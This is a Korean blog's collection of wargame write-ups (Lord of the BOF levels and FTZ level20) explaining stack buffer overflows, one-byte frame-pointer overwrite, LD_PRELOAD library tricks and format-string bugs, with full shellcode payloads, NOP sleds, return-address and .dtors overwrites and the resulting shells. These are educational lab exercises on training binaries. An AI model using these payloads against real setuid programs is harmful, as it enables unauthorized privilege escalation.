'hacking/ftz/lob'에 해당되는 글 5건

반 넘게 달렸다

오늘은 FPO에 대해 간단하게 알아보자

FPO는 buffer+1만큼 쓸 수 있는 공간이 있고, main 외의 다른 함수가 있을 때 쓸 수 있는 기법이다

ebp는 스택 프레임의 한 기준점을 저장하고, esp는 ebp를 기준으로 증가해 다음 스택 포인터를 지정한다

그리고 eip는 다음 실행할 명령의 주소를 저장한다

main() 안에 함수 sub()가 있다고 쳐 보자

우선 main()이 호출되고 그 다음 main() 에서 sub()가 호출된다

여기서 내가 1바이트를 변경하면 sub()의 sfp부분의 값이 변경된다

이젠 이 sub()가 종료되면서 leave를 수행하게 될 것이다

leave는 esp 값을 ebp(sfp)가 있는 곳으로 이동시킨 후, sfp 값을 ebp에 저장하는 것이다.

따라서 leave가 수행되면 sfp에 들어있던 main()의 ebp 값이 현재의 ebp 값에 저장되고, esp 값은 sfp를 가르키고 있다가 pop ebp 명령을 만나 4가 증가한다. 이렇게 ret을 가르키게 되는 것이다

이때 esp는 sub()의 ebp, 즉 sfp를 가르키게 될 것이고, pop ebp, 즉, main()의

ebp를 돌려 받는 과정에서 변경된 sfp값을 가져오게 되므로 main()의 ebp는 다른 곳을 가르키게 된다

자세한 문서는 요기



그럼 이 문서를 이해했다는 가정 하에 문제를 풀어보자



#include <stdio.h>

#include <stdlib.h>


void problem_child(char *src)

{

        char buffer[40];

        strncpy(buffer, src, 41);

        printf("%s\n", buffer);

}


main(int argc, char *argv[])

{

        if(argc<2){

                printf("argv error\n");

                exit(0);

        }


        problem_child(argv[1]);


FPO 기법을 쓸 수 있는 코드이다



(gdb) b *problem_child+24

 (gdb) r `python -c 'print "A"*40+"\x00"'` `python -c 'print "\x90"*150'`

Starting program: /tmp/darkknight `python -c 'print "A"*40+"\x00"'` `python -c 'print "\x90"*150'`


Breakpoint 1, 0x8048458 in problem_child ()

(gdb) x/100x $esp

0xbffffa74:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffa84:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffa94:     0x41414141      0x41414141      0xbffffa00      0x0804849e

0xbffffaa4:     0xbffffbf8      0xbffffac8      0x400309cb      0x00000003

0xbffffab4:     0xbffffaf4      0xbffffb04      0x40013868      0x00000003

0xbffffac4:     0x08048390      0x00000000      0x080483b1      0x0804846c

0xbffffad4:     0x00000003      0xbffffaf4      0x080482e4      0x080484dc

0xbffffae4:     0x4000ae60      0xbffffaec      0x40013e90      0x00000003

...


argv[1]에는 A(dummy) 40개와 sfp에 넣을 주소를 가정해서 \x00을 넣어주고

argv[2]에는 nop을 많이많이 넣어준다


[golem@localhost /tmp]$ ./darkkn1ght `python -c 'print "A"*41'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒C▒▒▒▒▒▒▒   @

bffffac4


정확한 주소를 알아내기 위해 새롭게 파일 하나를 만들어서 buffer의 주소를 출력하게 해 놓았다


 [golem@localhost golem]$ ./darkknight `python -c 'print "\xcc\xfa\xff\xbf"*2+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69

\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xc4"'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ

                                    ̀▒▒▒▒▒C▒▒▒▒▒▒▒       @

bash$ id

uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)

bash$ my-pass

euid = 512

new attacker

bash$


페이로드를 설명하자면

buffer 첫 주소를 두 번 넣고(8bytes) nop 7bytes 쉘코드 25bytes를 넣고(합쳐서 40bytes)

마지막 1byte를 버퍼의 첫 주소로 넣어준다

여기서 페이로드 처음에 주소를 두 번 넣은 이유는

leave-ret이 한 번 일어나면서 EBP가 변조된 EBP로 이동되는데, 한번 더 leave-ret을 하면 pop ebp를 실행한다. 이 때 ret에서 pop을 할 경우 BUF의 첫 4바이트를 참조해야 하기 때문이다.


피드백은 댓글로

'hacking > ftz/lob' 카테고리의 다른 글

lob skeleton->golem(level11) + 공유라이브러리  (0) 2017.09.24
lob goblin->orc(level4)  (0) 2017.09.17
lob gate->gremlin(level1)  (0) 2017.09.17
ftz level20 + Format String bug(FSB)  (0) 2017.09.10

먼저 공유 라이브러리에 대해 알아보자

라이브러리는 자주 사용되는 기능을 main 함수와 분리시킨다

라이브러리를 사용하면 디버깅이 쉬워지고 컴파일 시간이 빨라지기 때문에, 더 유연한 프로그램을 만들 수 있도록 도와준다

라이브러리의 종류는 정적 라이브러리, 동적 라이브러리, 공유 라이브러리 이렇게 세 가지가 있다

공유 라이브러리는 프로그램이 시작될 때 적재되는 라이브러리이다
정적 라이브러리는 파일의 단순 모음이다. 확장자는 .a이고 컴파일 시 적재된다

유연성이 떨어지고 바이너리 크기가 크다

동적 라이브러리는 특정한 때에 적재되는 라이브러리인데, 플러그인 모듈 등을 구현할 때 적합하다고 한다

이 문제는 공유라이브러리를 이용해 푸는 문제이다


커널 / .. / 환경변수 / argv / argc / ret / ebp / buf / 공유 라이브러리 / .. / heap / data / code
높은 주소 -> 낮은 주소 순이다
프로그램의 구조인데, 공유 라이브러리는 프로그램 시작 시에 적재된다고 했다
그런데 LD_PRELOAD라는 환경변수에 라이브러리를 등록하면 공유 라이브러리보다 먼저 등록한 라이브러리를 참조하게 된다
공유라이브러리의 심볼을 이 환경변수에 등록하면 공유라이브러리를 참조하지 않기 때문에 프로그램의 흐름을 바꿀 수 있다

 

#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // stack destroyer!

        memset(buffer, 0, 44);

        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

}




프로그램의 소스인데, 버퍼를 그냥 몽땅 파괴해버린다

고로 우리가 보통 쓰던 영역인 환경변수~buf까지를 쓸 수가 없게 된다(LD_PRELOAD는 환경변수지만 특별히 사용이 가능하다고 한다. 이유는 차후 추가하겠음)


 [skeleton@localhost /tmp]$ gcc -shared -fPIC -o `python -c 'print

"\x90"*100+"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69

\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` ./golem.c


gcc에 처음 보는 옵션이 붙었다

-shared : 공유 라이브러리를 우선적으로 링크하게 하는 옵션

정적 라이브러리와 함께 있으면 공유 라이브러리를 우선 링크하게 해 줌

-fPIC : object file을 만들 때 심볼이 어느 위치에 있건 동작을 하도록 컴파일하라는 의미


그럼 이제 라이브러리를 만들었으니 LD_PRELOAD에 이 라이브러리를 등록하면 될 것 같다

그 전에 라이브러리의 주소를 알아내도록 하자



 (gdb) b *main+166

Breakpoint 1 at 0x8048516

(gdb) r `python -c 'print "\xbf"*48'`

Starting program: /tmp/./golem `python -c 'print "\xbf"*48'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒



leave 부분에 브레이크를 걸어주고 프로그램의 if문에 걸리지 않게 \xbf를 48개 넣어준다


 

(gdb) x/500x $esp-2000

...

0xbffff5ec:     0x90902f2e      0x90909090      0x90909090      0x90909090

0xbffff5fc:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff60c:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff61c:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff62c:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff63c:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff64c:     0x90909090      0x8a689090      0x6881cee2      0x54530cb1

0xbffff65c:     0x8a6f6a68      0x690168e4      0x69686330      0x6a697430

0xbffff66c:     0x0cfe5914      0xfa79490c      0x54e1f741      0x400000c3

0xbffff67c:     0x40013868      0x4000220c      0xbffffba6      0x00000000

...



열심히 노가다를 해서 스택을 뒤져보면 아까 넣었던 x90이 보인다

팁을 하나 알려주자면 LD_PRELOAD에서 호출한 데이터는 ebp보다 메모리 영역이 낮은 곳에 위치하므로 스택 위치를 낮은 곳으로 잡아야 한다

어차피 nop sled를 해 놨기 때문에 맨 처음 주소를 주솟값으로 잡기로 했다


 

[skeleton@localhost skeleton] ./golem `python -c 'print "\xbf"*44+"\xec\xf5\xff\xbf"'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

bash$ id

uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)

bash$ my-pass

euid = 511

cup of coffee


피드백은 댓글로

'hacking > ftz/lob' 카테고리의 다른 글

lob golem->darknight(level12) + FPO  (0) 2017.09.27
lob goblin->orc(level4)  (0) 2017.09.17
lob gate->gremlin(level1)  (0) 2017.09.17
ftz level20 + Format String bug(FSB)  (0) 2017.09.10

 > [goblin@localhost goblin]$ cat orc.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orc

        - egghunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



대충 소스코드로 알 수 있는 것들은

-환경변수 사용 불가능

-argv[1][47]이 \xbf가 아니면 exit(0)이 작동된다

 [goblin@localhost goblin]$ cd /tmp

[goblin@localhost /tmp]$ gdb -q orc

(gdb) set dis intel

(gdb) disas main

Dump of assembler code for function main:

0x8048500 <main>:       push   %ebp

0x8048501 <main+1>:     mov    %ebp,%esp

0x8048503 <main+3>:     sub    %esp,44

0x8048506 <main+6>:     cmp    DWORD PTR [%ebp+8],1

0x804850a <main+10>:    jg     0x8048523 <main+35>

0x804850c <main+12>:    push   0x8048630

0x8048511 <main+17>:    call   0x8048410 <printf>

0x8048516 <main+22>:    add    %esp,4

0x8048519 <main+25>:    push   0

0x804851b <main+27>:    call   0x8048420 <exit>

0x8048520 <main+32>:    add    %esp,4

0x8048523 <main+35>:    nop

0x8048524 <main+36>:    mov    DWORD PTR [%ebp-44],0x0

0x804852b <main+43>:    nop

0x804852c <main+44>:    lea    %esi,[%esi*1]

0x8048530 <main+48>:    mov    %eax,DWORD PTR [%ebp-44]

0x8048533 <main+51>:    lea    %edx,[%eax*4]

0x804853a <main+58>:    mov    %eax,%ds:0x8049750

0x804853f <main+63>:    cmp    DWORD PTR [%eax+%edx],0

0x8048543 <main+67>:    jne    0x8048547 <main+71>

0x8048545 <main+69>:    jmp    0x8048587 <main+135>

0x8048547 <main+71>:    mov    %eax,DWORD PTR [%ebp-44]

0x804854a <main+74>:    lea    %edx,[%eax*4]

0x8048551 <main+81>:    mov    %eax,%ds:0x8049750

0x8048556 <main+86>:    mov    %edx,DWORD PTR [%eax+%edx]

0x8048559 <main+89>:    push   %edx

0x804855a <main+90>:    call   0x80483f0 <strlen>

0x804855f <main+95>:    add    %esp,4

0x8048562 <main+98>:    mov    %eax,%eax

0x8048564 <main+100>:   push   %eax

0x8048565 <main+101>:   push   0

0x8048567 <main+103>:   mov    %eax,DWORD PTR [%ebp-44]

0x804856a <main+106>:   lea    %edx,[%eax*4]

0x8048571 <main+113>:   mov    %eax,%ds:0x8049750

0x8048576 <main+118>:   mov    %edx,DWORD PTR [%eax+%edx]

0x8048579 <main+121>:   push   %edx

0x804857a <main+122>:   call   0x8048430 <memset>

0x804857f <main+127>:   add    %esp,12

0x8048582 <main+130>:   inc    DWORD PTR [%ebp-44]

0x8048585 <main+133>:   jmp    0x8048530 <main+48>

---Type <return> to continue, or q <return> to quit---

0x8048587 <main+135>:   mov    %eax,DWORD PTR [%ebp+12]

0x804858a <main+138>:   add    %eax,4

0x804858d <main+141>:   mov    %edx,DWORD PTR [%eax]

0x804858f <main+143>:   add    %edx,47

0x8048592 <main+146>:   cmp    BYTE PTR [%edx],0xbf

0x8048595 <main+149>:   je     0x80485b0 <main+176>

0x8048597 <main+151>:   push   0x804863c

0x804859c <main+156>:   call   0x8048410 <printf>

0x80485a1 <main+161>:   add    %esp,4

0x80485a4 <main+164>:   push   0

0x80485a6 <main+166>:   call   0x8048420 <exit>

0x80485ab <main+171>:   add    %esp,4

0x80485ae <main+174>:   mov    %esi,%esi

0x80485b0 <main+176>:   mov    %eax,DWORD PTR [%ebp+12]

0x80485b3 <main+179>:   add    %eax,4

0x80485b6 <main+182>:   mov    %edx,DWORD PTR [%eax]

0x80485b8 <main+184>:   push   %edx

0x80485b9 <main+185>:   lea    %eax,[%ebp-40]

0x80485bc <main+188>:   push   %eax

0x80485bd <main+189>:   call   0x8048440 <strcpy>

0x80485c2 <main+194>:   add    %esp,8

0x80485c5 <main+197>:   lea    %eax,[%ebp-40]

0x80485c8 <main+200>:   push   %eax

0x80485c9 <main+201>:   push   0x8048659

0x80485ce <main+206>:   call   0x8048410 <printf>

0x80485d3 <main+211>:   add    %esp,8

0x80485d6 <main+214>:   leave

0x80485d7 <main+215>:   ret



gdb로 확인해보면 딱히 dummy는 없는 것 같다


 (gdb) b *main+189

Breakpoint 1 at 0x80485bd


(gdb) r `python -c 'print "A"*47+"\xbf"+"B"*100'`

Starting program: /tmp/orc `python -c 'print "A"*47+"\xbf"+"B"*100'`


Breakpoint 2, 0x80485bd in main ()

(gdb) x/100x $esp

...

0xbffffdb4:     0x41414100      0x41414141      0x41414141      0x41414141

0xbffffdc4:     0x41414141      0x41414141      0x41414141      0x41414141

(gdb)

0xbffffdd4:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffde4:     0x424242bf      0x42424242      0x42424242      0x42424242

0xbffffdf4:     0x42424242      0x42424242      0x42424242      0x42424242

0xbffffe04:     0x42424242      0x42424242      0x42424242      0x42424242

0xbffffe14:     0x42424242      0x42424242      0x42424242      0x42424242

0xbffffe24:     0x42424242      0x42424242      0x42424242      0x42424242

0xbffffe34:     0x42424242      0x42424242      0x42424242      0x42424242

0xbffffe44:     0x42424242      0x00000042      0x00000000      0x00000000

...

(gdb) q



strcpy가 실행되는 부분에 브레이크를 걸고 argv[1][47]에 xbf가 들어가 조건에 걸리지 않게 해서 버퍼의 위치를 알아내보자



 [goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*44+"\xf4\xfd\xff\xbf"+"\x90"*100+

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

"'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒                       ▒1▒Ph//shh/bin▒▒PS▒▒1Ұ

                                                                            ̀

bash$ my-pass

euid = 504

cantata



argv[1]을 꽉 채우고 ret 주소에 argv[2]의 주소값을 넣는다

그리고 argv[2]에는 nop 코드와 쉘 코드를 넣는다

buffer의 크기가 SFP를 포함해 44이기 때문에 ret에 주소값을 넣으면 자동으로 argv[1][47]이 \xbf가 된다

피드백은 댓글로


'hacking > ftz/lob' 카테고리의 다른 글

lob golem->darknight(level12) + FPO  (0) 2017.09.27
lob skeleton->golem(level11) + 공유라이브러리  (0) 2017.09.24
lob gate->gremlin(level1)  (0) 2017.09.17
ftz level20 + Format String bug(FSB)  (0) 2017.09.10

LOB를 풀어보도록 하자. 시작이 반이다



[gate@localhost gate]$ cat gremlin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - gremlin

        - simple BOF

*/


int main(int argc, char *argv[])

{

    char buffer[256];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}

 


소스는 대략 이렇다

tmp에 복사해서 gdb로 얘를 까보도록 하자



[gate@localhost tmp]$ gdb -q gremlin

(gdb) set dis intel

(gdb) disas main

Dump of assembler code for function main:

0x8048430 <main>:       push   %ebp

0x8048431 <main+1>:     mov    %ebp,%esp

0x8048433 <main+3>:     sub    %esp,0x100

0x8048439 <main+9>:     cmp    DWORD PTR [%ebp+8],1

0x804843d <main+13>:    jg     0x8048456 <main+38>

0x804843f <main+15>:    push   0x80484e0

0x8048444 <main+20>:    call   0x8048350 <printf>

0x8048449 <main+25>:    add    %esp,4

0x804844c <main+28>:    push   0

0x804844e <main+30>:    call   0x8048360 <exit>

0x8048453 <main+35>:    add    %esp,4

0x8048456 <main+38>:    mov    %eax,DWORD PTR [%ebp+12]

0x8048459 <main+41>:    add    %eax,4

0x804845c <main+44>:    mov    %edx,DWORD PTR [%eax]

0x804845e <main+46>:    push   %edx

0x804845f <main+47>:    lea    %eax,[%ebp-256]

0x8048465 <main+53>:    push   %eax

0x8048466 <main+54>:    call   0x8048370 <strcpy>

0x804846b <main+59>:    add    %esp,8

0x804846e <main+62>:    lea    %eax,[%ebp-256]

0x8048474 <main+68>:    push   %eax

0x8048475 <main+69>:    push   0x80484ec

---Type <return> to continue, or q <return> to quit---

0x804847a <main+74>:    call   0x8048350 <printf>

0x804847f <main+79>:    add    %esp,8

0x8048482 <main+82>:    leave

0x8048483 <main+83>:    ret

0x8048484 <main+84>:    nop

0x8048485 <main+85>:    nop

0x8048486 <main+86>:    nop

0x8048487 <main+87>:    nop

0x8048488 <main+88>:    nop

0x8048489 <main+89>:    nop

0x804848a <main+90>:    nop

0x804848b <main+91>:    nop

0x804848c <main+92>:    nop

0x804848d <main+93>:    nop

0x804848e <main+94>:    nop

0x804848f <main+95>:    nop

End of assembler dump.


더 추가되는 dummy가 없는 것을 확인할 수 있다

고로 25byte shellcode 때려박고 나머지에 nop을 채운 다음 RET 주소에 스택 주소를 넣으면 되겠다

그런데 평소에 하던 대로



(gdb) b *main+74

Breakpoint 1 at 0x804847a

(gdb) r `python -c 'print "A"*260+"B"*4'`


Starting program: /home/gate/tmp/gremlin `python -c 'print "A"*260+"B"*4'`


Breakpoint 1, 0x804847a in main ()

(gdb) x/100x $esp

 


이렇게 해서 나온 주소로 RET을 채우면 오류가 발생한다

검색해보니 gdb로 까면 어딘가에 한 번 복사가 돼서 동적으로 움직이는 프로그램과는 주소가 달라질 거라고 한다

그럼 원래 있던 소스에 버퍼의 주소를 확인하는 코드를 한 줄 더 넣어서 컴파일 후 실행시켜보자



#include <stdio.h>


int main(int argc, char *argv[])

{

    char buffer[256];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

    printf("%x\n", buffer);

}


[gate@localhost gate]$ gcc -o gremlinn gremlinn.c

  [gate@localhost gate]$ ./gremlinn `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

+"\x90"*235+"\x38\xfa\xff\xbf"'`


1▒Ph//shh/bin▒▒PS▒▒1Ұ

   ̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒8▒▒▒

bffff928

Segmentation fault (core dumped)




진짜 주소가 나왔으니 이제 이걸 이용해서 다시 페이로드를 짜 보면



[gate@localhost gate]$ ./gremlin `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

+"\x90"*235+"\x28\xf9\xff\xbf"'`

1▒Ph//shh/bin▒▒PS▒▒1Ұ

 ̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒(▒▒▒

bash$ id

uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)

bash$ my-pass

euid = 501


 


다음 레벨로 넘어가게 된다 끘끘끘

'hacking > ftz/lob' 카테고리의 다른 글

lob golem->darknight(level12) + FPO  (0) 2017.09.27
lob skeleton->golem(level11) + 공유라이브러리  (0) 2017.09.24
lob goblin->orc(level4)  (0) 2017.09.17
ftz level20 + Format String bug(FSB)  (0) 2017.09.10

문제를 풀기 전에 포맷스트링버그에 대해 정리하려고 한당.


1. 포맷스트링이란 무엇일까?

포맷스트링은 c언어에서 변수를 출력하고자 사용하는, 이를테면 %c라던가 %d같은 서식 문자이다

나 같은 초보 프로그래머들은 끽해봐야 %c %d %x %s %f 정도밖에 모를 테지만

사실 포맷스트링버그라는 공격 기법에 핵심이 되는 서식 문자가 있다

바로바로 %n이다(처음엔 \n이랑 비슷하게 생겨서 헷갈렸었다)

나에게는 c언어 책이 몇 권 있지만 책에서도 본 기억이 없는 것을 보아 일반 프로그래밍에는 잘 사용하지 않는 듯 하다

물론 내 지식의 깊이 탓도 있다 ㅎㅎ;;

%n이라는 서식 문자는 사용했을 때, 스택의 다음 4바이트에 있는 값을 주소로 하여 거기에 %n 이전의 모든 문자 개수의 합이 저장된다


요 버그가 성립되는 또 다른 조건은 printf를 쓸 때 어디서 주워들은 요상한 방식을 사용했을 때이다
이 %n이라는 서식 문자 하나로는 버그를 발생시킬 수가 없다 무슨 마스터키도 아니구


 

[level20@ftz tmp]$ cat shapeofU.c

#include<stdio.h>


int main(int argc, char ** argv)

{

        char buf[1000];


        strcpy(buf, argv[1]);


        printf(buf);

        printf("\n");

        return 0;

}

[level20@ftz tmp]$



간단한 프로그래밍을 하나 해 봤다

평소 쓰던 방식과의 차이가 보이는가? 난 저 방식은 자바에서만 쓸 수 있는 줄 알았는데 c언어에서도 된다

저 방식을 써도 출력할 때는 아무 문제가 없다

그러나 여기에 서식문자를 넣었을 때는 얘기가 좀(사실 많이) 달라진다

만약 내가 %x이라는 문자에 이유 모를 아름다움을 느껴서 %x라는 문자를 출력하고 싶다고 치자


 

[level20@ftz tmp]$ ./shapeofU %x

bffffb94

[level20@ftz tmp]$



내가 원하는 건 분명 %x라는 문자 그 자체였는데

왠지 모르게 요시꾸리한 주소값이 출력이 됐다 흠 ;;

%x를 여러번 넣어보도록 하자 이유는 묻지 말라



[level20@ftz tmp]$ ./shapeofU "AAAA %x %x %x %x"

AAAA bffffb86 0 0 41414141


 


네 번째 %n에서 내가 처음에 입력했던 AAAA가 나와버렸다

아까 %n은 4바이트에 있는 값을 주소로 하여 거기에 %n 이전의 모든 문자 개수의 합이 저장된다 라고 했었다


 

[level20@ftz tmp]$ ./shapeofU "AAAA%n"

Segmentation fault



이렇게 하면 어떻게 될까?

%n 앞에 있는 문자의 개수(4개) 가 스택의 다음 4바이트에 있는 내용을 주소값으로 하여(0x41414141) 거기에 저장된다

고로 0x41414141에 4가 저장된다는 것이다!

이를 잘 이용하면 내가 원하는 주소에 내가 원하는 값을 넣을 수 있다

참고로 굳이 특정 문자를 십만번 백만번 입력하지 않아도, %8x 같은 형식으로 자리수를 지정할 수 있으니 더 간편한 코드를 작성할 수 있다


여기까지가 포맷스트링버그의 원리이다


그럼 문제를 풀면서 적용해보도록 하자



[level20@ftz level20]$ cat hint


#include <stdio.h>

main(int argc,char **argv)

{

char bleh[80];

  setreuid(3101,3101);

  fgets(bleh,79,stdin);

  printf(bleh);

}

 


아까 말했던 취약점이 발생할 수 있는 부분이 있다

그러면 환경변수에 쉘코드를 등록시켜놓고 주소값을 구해서, 프로그램이 끝나면 실행되는 부분에 그 주소값을 넣으면 될 것 같다

근데 어디다가 넣지?

우리는 보통 ret에다 넣었었는데, 랜덤 스택이여서 실행할 때마다 주소값이 바뀐다면 좀 곤란할 것이다

찾아보니 .dtors라는 게 있는데 소멸자라고 프로그램 종료 시 실행되는 것 같다

일단 환경변수를 등록하고 프로그램까지 짜서 주소값을 알아내보자



 [level20@ftz tmp]$ ./whereRU

0xbffffbc1



(듣고 있는 노래로 이름을 지었는데 대충 상황이랑 맞는 것 같다)

그리고 .dtors의 주소값을 알아내자


 

[level20@ftz level20]$ objdump -h attackme | grep .dtors

 18 .dtors        00000008  08049594  08049594  00000594  2**2



보통 두 번째 주소값에 +4를 해서 거기부터 값을 넣는다고 한다 이건 자세히 알아보고 추가하도록 하겠다

아무튼 시작 주소는 08049598

그러니까 여기다가 아까 환경변수의 주소값인 0xbffffbc1를 넣으면 된다는 것인데 문제는 숫자가 너무 크다

3221224385이라는 숫자가 나오는데, 시간도 오래 걸릴 뿐더러 아마 오버플로우 문제가 발생할 것 같다

그래서 이걸 반으로 나눠볼거다

bfff/fbc1 이렇게 나눠서 넣어보자

bfff는 49151, fbc1은 64449이다

주소값을 반으로 쪼개어 각각 2바이트씩이 됐으므로 .dtors의 주소도 8049594, 8049596 두 개로 쪼개보자

우리는 리틀 엔디안 방식을 사용하므로 앞 주소에 64449 뒷 주소에 49151을 입력하면 된다

그리고 아까 %x를 네 번 사용해야 bleh라는 배열에 들어간 데이터를 읽기 시작했다

그러니 esp의 위치를 옮기기 위해 %8x를 세 번 사용해 주자

세 번 사용한 후 %n을 사용하면 지금 스택 주소에 +4를 해서 그 곳에 저장하기 때문이다



AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64449c%n%49151c%n



대충 이렇게 넣으면 될 것 같다고 생각할 것이다

그런데 이렇게 넣으면 안 된다 

%n은 앞에 넣은 모든 문자의 개수를 센다고 했다 그래서 이것까지 계산을 해 줘야 한다

앞에 들어간 문자는 40바이트이므로, 64449에서 40을 뺀 64409가 나와야 한다

그리고 bfff가 들어간 부분은 앞의 문자열이 64449개가 될 것이므로 이걸 빼 주어야... 하는데 음수가 나와서 뺄 수가 없다

그럼 앞에 1을 붙여서 계산하면 된다(보수를 취하는 거다)

1bfff(114687)-64449=50238

따라서 최종 코드는 아마 이렇게 될 것이다



AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64409c%n%50238c%n 



strcpy 방식이 아니므로 ;cat과 파이프 명령어를 이용해서 공격을 해 보도록 하자



[level20@ftz tmp]$ (python -c 'print "AAAA\x98\x95\x04\x08BBBB\x9a\x95\x04\x08%8x%8x%8x%64409c%n%50238c%n"';cat)|/home/level20/attackme

AAAA˜BBBBš      4f4212ecc04207a750   

 

...



공격이 성공했다면 어마어마어마한 공백이 뜬다


...


my-pass

TERM environment variable not set.


clear Password is "i will come in a minute".



이렇게 클리어 패스워드를 얻을 수 있다!


간단하게 포맷스트링버그와 ftz 마지막 문제를 풀어보았다

문제가 있거나 궁금한 부분은 댓글로 찔러봐 주면 될 것 같다!

'hacking > ftz/lob' 카테고리의 다른 글

lob golem->darknight(level12) + FPO  (0) 2017.09.27
lob skeleton->golem(level11) + 공유라이브러리  (0) 2017.09.24
lob goblin->orc(level4)  (0) 2017.09.17
lob gate->gremlin(level1)  (0) 2017.09.17